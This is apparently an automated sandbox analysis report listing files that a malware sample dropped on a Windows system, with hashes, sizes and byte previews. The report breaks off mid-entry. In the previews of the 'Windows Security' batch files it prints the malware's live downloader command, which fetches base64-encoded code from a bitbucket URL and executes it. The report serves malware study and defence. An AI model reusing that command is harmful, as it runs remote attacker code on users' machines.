SHA-512:	E38CC3D533E80FF41252A8CEEA5AD59684760308226696E0EF018DF85CF6287AA077CF6DF359AFB2A2D72D3804DBC79B0CEBE857F05225114CDA8708950AECC5
Malicious:	false
Reputation:	low
Preview:	o........'-d........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.d.Z.g.d...Z.d.Z.i.Z.d.d...Z.d.Z.d.Z.d.d...Z.e.e.f.d.d...Z.e.e.f.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e.e...Z.G.d!d"..d"e.e...Z.d.d#l.m.Z...e.d$d%..Z.e.d&d'..Z e.d(d)..Z!de._.d+e.j"_.d,e.j#_.d-e _.d.e j$_.d/e j%_.d0e j&_.d1e j'_.d2e j#_.d3e!_.e j$j.e!j$_.e j%j.e!j%_.e j&j.e!j&_.d4e!j(_.e j'j.e!j'_.e j#j.e!j#_.e.Z)G.d5d$..d$e.e...ZG.d6d&..d&e e...Z+G.d7d(..d(e!e...Z,G.d8d9..d9e.e...Z-G.d:d;..d;e e...Z.G.d<d=..d=e!e...Z/d>d?..Z0e0....[0d.dBdC..Z1dDdE..Z2d.dFdG..Z3dHdI..Z4d.dJdK..Z5dLdM..Z6dNdO..Z7d.dPdQ..Z8dRdS..Z9dTZ:d.a;dUdV..Z<e..=dW..Z>d.dZd[..Z?.\.]d.d^d_..Z@.\.]d.d`da..ZAd.dbdc..ZBeCdd..ZDeEeD..ZFi.ZGG.dedf..dfe.jH..ZId.dhdi..ZJd.djdk..ZKd.dldm..ZLd\d@d.d.eKf.dndo..ZMdpdq..ZNdrds..ZOdtdu..ZPdvdw..ZQd.aRdxdy..ZSdzd{..ZTd.aUd\|d}..ZVd~d...ZWd.d...ZXd.d...ZYd.d...ZZd.d...Z[d.a\d.d...Z]d.d.d...Z^d.d.d...Z_

C:\Users\Public\QExvbmVOb25l\lib\urllib\pycache\request.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	71351
Entropy (8bit):	5.432247260526459
Encrypted:	false
SSDEEP:	1536:6ZcvBPt5NLOapNHHroeOfudJQelc4vuMM+afOa6rFoiRhGuEWY:6WFt5UavnroRujuL6Tzp/Y
MD5:	93C0B5BB7D0629EBF8B8915DFF8639C2
SHA1:	A180496FA16C53B9BA984665B479DB65C6F8DC59
SHA-256:	3B4A61BBCAD481B0F5E67BE6A0913ABFAD2C5FF207A6525EC194B94AC5D78331
SHA-512:	6B080C24C13DD6C715643679724710D3B980EAF34107086639BD7FE50A389476C6EAC5CE0E8B14C4A85F1452CD45ED7D2C6D06A727735EB3BAFF58B3C1BC156C
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(..d.d.l)mZm+Z+..z.d.d.l,Z,W.n...e-y.......d.Z.Y.n.w.d.Z.g.d...Z/d.e.j0d.d.......Z1d.a2d.e.j3f.d.d.d.d.d...d.d...Z4d.d...Z5g.Z6d.d.d...Z7d.d...Z8e..9d.e.j:..Z;d.d...Z<G.d.d...d...Z=G.d.d...d...Z>d.d...Z?G.d.d...d...Z@G.d.d ..d e@..ZAG.d!d"..d"e@..ZBG.d#d$..d$e@..ZCd%d&..ZDG.d'd(..d(e@..ZEG.d)d..d..ZFG.d+d,..d,eF..ZGG.d-d...d.eG..ZHG.d/d0..d0..ZIG.d1d2..d2eIe@..ZJG.d3d4..d4eIe@..ZKe.jLZMG.d5d6..d6..ZNG.d7d8..d8e@eN..ZOG.d9d:..d:e@eN..ZPG.d;d<..d<e@..ZQG.d=d>..d>eQ..ZReSe.jTd?....rtG.d@dA..dAeQ..ZUe/.VdA....G.dBdC..dCe@..ZWG.dDdE..dEe@..ZXdFdG..ZYdHdI..ZZG.dJdK..dKe@..Z[dLdM..Z\G.dNdO..dOe@..Z]G.dPdQ..dQe]..Z^G.dRdS..dSe@..Z_dTZ`e.jadUk...r.d.dVlbmcZcmdZd..n.dWdX..ZcdYdZ..Zdi.ZeG.d[d\..d\..ZfG.d]d^..d^ef..Zgd.ahd_

C:\Users\Public\QExvbmVOb25l\lib\urllib\pycache\response.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3480
Entropy (8bit):	4.7525414505217825
Encrypted:	false
SSDEEP:	96:4BaL9CzkpnMvDq/vnacKhRVH+nRsxv5C+8/15dzjT:Lxunbq33ERVHNvCl/9T
MD5:	8F0127A2D149521EB674B9942E5445F1
SHA1:	6B059FC711C27A86429BFB15B768D6C4F660541D
SHA-256:	29AF12BC7CA9ADCCC0D057A81E90F9D02F24D634A06F046532C795A4F3F8ED9B
SHA-512:	1A0DB47CD5398B62FF2654F1D732525ED06518D4CD01427120B948CD934610812D3C9E32734DBFE84DAFDAEFFCF7EC6C401CCEA0A9DE4DD698919809011D4FB0
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sZ...d.Z.d.d.l.Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).a....Response classes used by urllib...The base class, addbase, defines a minimal file-like interface,.including read() and readline(). The typical response object is an.addinfourl instance, which defines an info() method that returns.headers and a geturl() method that returns the url.......N)...addbase..addclosehook..addinfo..addinfourlc........................s8...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.....Z.S.).r....zOBase class for addinfo and addclosehook. Is a good idea for garbage collection.c........................s ...t.t.\|...j.\|.d.d.d.....\|.\|._.d.S.).Nz.<urllib response>F)...delete)...superr......__init__..fp)...selfr........__class__...3C:\Users\Public\QExvbmVOb25l\lib\urllib\response.pyr........s........z.addbase.__init__c....................C...s....d.\|.j.j.t.\|...\|.j.f...S.).Nz.<%s at %r whose fp = %r>).r......__name__..id..fi

C:\Users\Public\QExvbmVOb25l\python310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4143384
Entropy (8bit):	6.719606889163802
Encrypted:	false
SSDEEP:	49152:0izdDWQcAdLh1ckY/wqIEh8rvZGsIBGfHP2MZnaPxQ1w7OEnGI8wgJyf:0uAk3rWBcH+MZ0Q1wlnYZJY
MD5:	73CADAB187AD5E06BEF954190478E3AA
SHA1:	18AB7B6FE86193DF108A5A09E504230892DE453E
SHA-256:	B4893ED4890874D0466FCA49960D765DD4C2D3948A47D69584F5CC51BBBFA4C9
SHA-512:	B2EBE575F3252FF7ABEBAB23FC0572FC8586E80D902D5A731FB7BD030FAA47D124240012E92FFE41A841FA2A65C7FB110AF7FB9AB6E430395A80E925283E2D4D
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d...............p.......jf......p.......p.......p.......}.......}...............p.......p.......pd......p......Rich............PE..L.....,d...........!......$...........$.......$...............................B......3@...@..........................%:.......:.\|.....?...............?../....?.l1..(.9.T.............................9.@.............$..............................text.....$.......$................. ..`.rdata...F....$..H....$.............@..@.data.........;.......:.............@...PyRuntimh.....?.......<.............@....rsrc.........?.......<.............@..@.reloc..l1....?..2....<.............@..B................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\synaptics.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	100120
Entropy (8bit):	6.420724895344148
Encrypted:	false
SSDEEP:	1536:93b37AhIxHHWMpdPa5wiE21M8kJIGFvb1Cwv/O5sX7Sy1Px0e:977ASwMpdCq/IM8uIGf1/O5sXzx0e
MD5:	8AD6C16026FF6C01453D5FA392C14CB4
SHA1:	69535B162FF00A1454BA62D6FABA549B966D937F
SHA-256:	FF507B25AF4B3E43BE7E351EC12B483FE46BDBC5656BAAE6AD0490C20B56E730
SHA-512:	6D8042A6C8E72F76B2796B6A33978861ABA2CFD8B3F8DE2088BBFF7EA76D91834C86FA230F16C1FDDAE3BF52B101C61CB19EA8D30C6668408D86B2003ABD0967
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.)./.G./.G./.G.&...%.G.}.F.-.G.}.B.<.G.}.C.#.G.}.D...G...F.,.G.d.F.-.G./.F...G...O...G......G...E...G.Rich/.G.................PE..L.....,d.....................H......n........ ....@.................................p.....@.................................l%.......@..x5...........X.../......\....!..T...........................X!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...x5...@...6... ..............@..@.reloc..\............V..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	76168
Entropy (8bit):	6.765544990184352
Encrypted:	false
SSDEEP:	1536:zHHuqvERNjBwySXtVaSvrgOFw9RxKMn5ecbCKnIY7:zHHZMRNjKySdLcOiH5ecbCKnN
MD5:	1A84957B6E681FCA057160CD04E26B27
SHA1:	8D7E4C98D1EC858DB26A3540BAAAA9BBF96B5BFE
SHA-256:	9FAEAA45E8CC986AF56F28350B38238B03C01C355E9564B849604B8D690919C5
SHA-512:	5F54C9E87F2510C56F3CF2CEEB5B5AD7711ABD9F85A1FF84E74DD82D15181505E7E5428EAE6FF823F1190964EB0A82A569273A4562EC4131CECFA00A9D0D02AA
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................{.........i.............................................................Rich....................PE..L...>\|.a.........."!.........................................................@......{.....@A......................................... ...................#...0.......#..8............................#..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Windows Security

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	256
Entropy (8bit):	5.294984154726434
Encrypted:	false
SSDEEP:	6:oNaHxv2kgICuW8QwZ21TWk6NO+xLAdoch3SCVkHKVa97v:oY0ICv8/5kmO+x0WchjaKV2v
MD5:	3EC42FEDC34F9902D86B4FA6D5BC615B
SHA1:	8AF6EEC0977584B818DAB765A18A36D890868B1F
SHA-256:	81CFBD7F9A13F624F3710229C0416D90DA40FB93767BD321C0BA5842E184E777
SHA-512:	18D84DC4C7BAAF94714CFFD96DE2F810B6228568622EC5CB74426A5382DA77D6A8D4EAA54F638F8018533E8BD4847971F7B96D2EF7D473F48E15E1191BA3D6D3
Malicious:	true
Reputation:	low
Preview:	C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))" ..

C:\Users\Public\Windows Security.bat

Download File

Process:	C:\Windows\SysWOW64\certutil.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	modified
Size (bytes):	264
Entropy (8bit):	5.350762330320767
Encrypted:	false
SSDEEP:	6:QHWOaHxv2kgICuW8QwZ21TWk6NO+xLAdoch3SCVkHKVa97v:QHw0ICv8/5kmO+x0WchjaKV2v
MD5:	240E2AC9E4F6B478865979A058998FFE
SHA1:	C730ED0A11DFFAE7CECEF6BF0FBAF46220BB9146
SHA-256:	9D074C1321984B1F9394F58E1400003D8A6F49235F6506D7D24CEC7F44207F03
SHA-512:	D2655C79BD8290AA5E67045F036B288EAC74E4A3D441CA549130F1F4E18242302288A01141FBE3F82A8A659369C277E6DFACE7A3F37A1EDE479731CB340E35AA
Malicious:	true
Reputation:	low
Preview:	..&cls..C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))" ..

C:\Users\Public\Windows Security.~b64

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.7735572622751845
Encrypted:	false
SSDEEP:	3:RRriov:3rb
MD5:	7FC149CA05FAC524FACC140040FC4ECA
SHA1:	787D7431F8F3E8BE035BC75BAA8F080EDF4E5E2D
SHA-256:	2BF2801F119A2D847AEB00F72316B7B81DC703D255DB80220F3E56A0D3D41BA4
SHA-512:	40981CCB2363BB77765FFCCB0321C12A06DF1681A4CF3A36CDDB9D77DD78B1A29EB098109F2C46873F6B46DD56B3839DA983201BAC3BFDF62C1444A4C5782405
Malicious:	false
Reputation:	low
Preview:	//4mY2xzDQo= ..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.232274277461885
Encrypted:	false
SSDEEP:	6:HU3c24q2P92nKuAl9OmbnIFUt8YU3c8JZmw+YU3c1RF3DkwO92nKuAl9OmbjLJ:WcVv4HAahFUt8tcO/+tc1RFz5LHAaSJ
MD5:	A6C961A64CA78F0421FDC816A14F7055
SHA1:	26C1162E6BA46C0B7EA9C847AA5783BC046D32E4
SHA-256:	BBD9DC72D7A6AD7A21AD8FF1D4F83DE81D31245155811B706A45D3A7872FB81A
SHA-512:	3738AA029E0C0CB754F1497F309630F14330700D35C1AB59C0B005C1C9B828E54131D60919BC4DE8314D2144CE170CD3F43B66E513F23A95AF149EA226F609B9
Malicious:	false
Reputation:	low
Preview:	2024/11/15-05:58:20.921 1784 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/15-05:58:20.923 1784 Recovering log #3.2024/11/15-05:58:20.924 1784 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.232274277461885
Encrypted:	false
SSDEEP:	6:HU3c24q2P92nKuAl9OmbnIFUt8YU3c8JZmw+YU3c1RF3DkwO92nKuAl9OmbjLJ:WcVv4HAahFUt8tcO/+tc1RFz5LHAaSJ
MD5:	A6C961A64CA78F0421FDC816A14F7055
SHA1:	26C1162E6BA46C0B7EA9C847AA5783BC046D32E4
SHA-256:	BBD9DC72D7A6AD7A21AD8FF1D4F83DE81D31245155811B706A45D3A7872FB81A
SHA-512:	3738AA029E0C0CB754F1497F309630F14330700D35C1AB59C0B005C1C9B828E54131D60919BC4DE8314D2144CE170CD3F43B66E513F23A95AF149EA226F609B9
Malicious:	false
Reputation:	low
Preview:	2024/11/15-05:58:20.921 1784 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/15-05:58:20.923 1784 Recovering log #3.2024/11/15-05:58:20.924 1784 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.177483925325135
Encrypted:	false
SSDEEP:	6:HUso2N+q2P92nKuAl9Ombzo2jMGIFUt8YUsk/Zmw+YUsk/VkwO92nKuAl9Ombzos:plIv4HAa8uFUt8Kk//+Kkt5LHAa8RJ
MD5:	5D23F854FDC82D473A366BFB39BC5594
SHA1:	3FCC8EBC6CA6BDD9028E287363FF3E103BB770AC
SHA-256:	E98F111A1786627ED6309E238F6089860EC478813F2B4BC04335E7E7CF1D31BF
SHA-512:	8ABB3190412382BB4DDCB76E2CDD0920049A8E059265D3A637D67B4AC26A0D3B35059F45ECEAB83E47C681F1D620F0B18CF40E390C39233AE16A80E78B7DF2B9
Malicious:	false
Reputation:	low
Preview:	2024/11/15-05:58:21.044 1788 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/15-05:58:21.045 1788 Recovering log #3.2024/11/15-05:58:21.045 1788 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.177483925325135
Encrypted:	false
SSDEEP:	6:HUso2N+q2P92nKuAl9Ombzo2jMGIFUt8YUsk/Zmw+YUsk/VkwO92nKuAl9Ombzos:plIv4HAa8uFUt8Kk//+Kkt5LHAa8RJ
MD5:	5D23F854FDC82D473A366BFB39BC5594
SHA1:	3FCC8EBC6CA6BDD9028E287363FF3E103BB770AC
SHA-256:	E98F111A1786627ED6309E238F6089860EC478813F2B4BC04335E7E7CF1D31BF
SHA-512:	8ABB3190412382BB4DDCB76E2CDD0920049A8E059265D3A637D67B4AC26A0D3B35059F45ECEAB83E47C681F1D620F0B18CF40E390C39233AE16A80E78B7DF2B9
Malicious:	false
Reputation:	low
Preview:	2024/11/15-05:58:21.044 1788 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/15-05:58:21.045 1788 Recovering log #3.2024/11/15-05:58:21.045 1788 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2346753197182005
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUzUBlc:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLW
MD5:	CF8425C5F5EA36784A8CA6B4FA277450
SHA1:	4B0DB3A5160EDA231CDAB70C8879F555DC32DD8E
SHA-256:	652A0F82F63E023BC1FDCB6E70155BE7C345594213FBE452B3EF440FF23EBA97
SHA-512:	ECDA51A697E229438BFD02648453D7246D67D372AEB1CC40F0611E54CCDA02CDB50298ED01EF595F651FCBAA7BD65489F2BAFE5DE7C9E942FD7310F1D362AC61
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.192580804655732
Encrypted:	false
SSDEEP:	6:HUNut+q2P92nKuAl9OmbzNMxIFUt8YUzXZmw+YU2/VkwO92nKuAl9OmbzNMFLJ:Kfv4HAa8jFUt8hX/+It5LHAa84J
MD5:	FCECFBAFE74C0398CC0B0CA1D72A40AC
SHA1:	D514CD9AE19DB29EEFC5AC18C26D3EDFF833E8FF
SHA-256:	A8BE15D48AA3448FB3D4456378FBF7EB5E3E5C5B50513CD7365DA880D0F57BC2
SHA-512:	29DC73410724BEB673244A544344B1003BA7DF18FD2520DBFFA6B9E7E5DC2C725A1FBDC98FE8B762C4BA3CD826C12BED6DAF46EF97CA4B991F0E3D58DE8AD724
Malicious:	false
Reputation:	low
Preview:	2024/11/15-05:58:21.387 1788 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/15-05:58:21.412 1788 Recovering log #3.2024/11/15-05:58:21.415 1788 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.192580804655732
Encrypted:	false
SSDEEP:	6:HUNut+q2P92nKuAl9OmbzNMxIFUt8YUzXZmw+YU2/VkwO92nKuAl9OmbzNMFLJ:Kfv4HAa8jFUt8hX/+It5LHAa84J
MD5:	FCECFBAFE74C0398CC0B0CA1D72A40AC
SHA1:	D514CD9AE19DB29EEFC5AC18C26D3EDFF833E8FF
SHA-256:	A8BE15D48AA3448FB3D4456378FBF7EB5E3E5C5B50513CD7365DA880D0F57BC2
SHA-512:	29DC73410724BEB673244A544344B1003BA7DF18FD2520DBFFA6B9E7E5DC2C725A1FBDC98FE8B762C4BA3CD826C12BED6DAF46EF97CA4B991F0E3D58DE8AD724
Malicious:	false
Reputation:	low
Preview:	2024/11/15-05:58:21.387 1788 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/15-05:58:21.412 1788 Recovering log #3.2024/11/15-05:58:21.415 1788 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 3, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.293704294361457
Encrypted:	false
SSDEEP:	192:/edRBoVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:/eSci5H5FY+EUUUTTcHqFzqFP
MD5:	FF07F80A953909008ADA93477BD2B5AD
SHA1:	B75A87AB7401C0F53A39294CE4B072F1BB522CA0
SHA-256:	2EF0784616CDF03A54325517439BA55E56DB64E04E9051A63A35A93AADF76D69
SHA-512:	E41D312E0EBD4FEAFAEA3F94A95DC57F393184936376E175779A5AC12398097846CA7D254677DBDEBACED7956CFF2CE04146EF62F24ED7ED7D3B0E66AF8D9827
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.202441209709624
Encrypted:	false
SSDEEP:	24:7+t3MEWewKnRqLazkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfc:7M8URqemFTIF3XmHjBoGGR+jMz+LhE
MD5:	7251DDAF1DA6A7C0B28B716810A60054
SHA1:	86DE434A03C88B9AF02540A39C577C73A811D14F
SHA-256:	488529443B3E4248390EA452271945EC61C3F02AE5E13E99A3B47D22C41F3B64
SHA-512:	6DBF9B6298E888574C45BA8CD3E3FF3DCE72B1BB48D18AEFF4CB67F910D5DA556F1D963332C2CBFB0E8AEF0E4AB1390C3303A4C1AA5579B085EFFD7445ECEC6A
Malicious:	false
Reputation:	low
Preview:	.... .c.....k;.0........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Reputation:	low
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7686775296558492
Encrypted:	false
SSDEEP:	3:kkFklMeM1fllXlE/HT8k8SszXNNX8RolJuRdxLlGB9lQRYwpDdt:kKVe9T8YszdNMa8RdWBwRd
MD5:	C020649A1B2CC46BC75EC3579679E905
SHA1:	8BA5A014978D5C6E2F9E5CBFFBBF8FFCA52A894B
SHA-256:	86C2E4025FF4D9C614CFD48DA85D97A09110CDCFC1808DFCF56585ABB124CB98
SHA-512:	53FFBFEBD18807225FBA55589DE6C5786DE02B72328939E9C534D64654755B86E6BA9803773FB22B467C7B6D850C6EE5C4F20A7ECB44F31A54C1A41610F2871E
Malicious:	false
Reputation:	low
Preview:	p...... ..........=PM7..(....................................................... ..........W.....7..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
